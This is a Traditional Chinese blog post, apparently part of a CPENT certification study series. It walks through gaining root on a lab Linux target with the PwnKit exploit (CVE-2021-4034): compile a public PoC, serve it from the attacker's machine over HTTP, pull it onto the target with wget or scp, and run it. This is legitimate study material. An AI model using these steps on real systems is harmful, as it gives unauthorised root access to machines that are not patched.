iT邦幫忙

2023 iThome 鐵人賽

DAY 9
0
Security

滲透測試小白的 CPENT 證照學習筆記系列 第 9

PwnKit 讓你輕鬆拿到 root 權限

  • 分享至 

  • xImage
  •  

當取得一般使用者帳號後,可以透過這個工具,進一步取得 root 權限,進行帳號提權的動作。

  • 這漏洞的編號為 CVE-2021-4034,存在於 Linux 作業系統的某些舊版本中,當要作提權的動作時候,可以試試看這個工具。

  • 下載 https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

  • 將檔案下載後更名為 Pwnkit.c ,再透過 GCC 編譯。
    gcc Pwnkit.c -o Pwnkit

  • image.png

  • 編譯好後,啟動簡單的 http 服務,將編譯好的 Pwnkit 讓靶機下載。
    sudo python3 -m http.server 80
    image.png

  • 先透過 ssh 登入到靶機中,並透過 wget 下載 Pwnkit 工具。
    wget http://192.168.0.18/Pwnkit
    如果有遇到無法直接下載的問題,可以透過 ssh 的方式傳檔案。
    scp ./Pwnkit aleksander@192.168.0.70:/home/aleksander/Pwnkit

  • 由 id 的指令,可以得知目前用來登入靶機的帳號 aleksander 沒有 root 權限。
    image.png

  • 先將 Pwnkit 授予執行的權限
    chmod +x Pwnkit
    接著執行 Pwnkit,即可取得 root 權限了。
    ./Pwnkit
    image.png


上一篇
GDB 緩衝區溢位攻擊 (Buffer Overflow)
下一篇
用 Binwalk 解析二進制檔案
系列文
滲透測試小白的 CPENT 證照學習筆記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言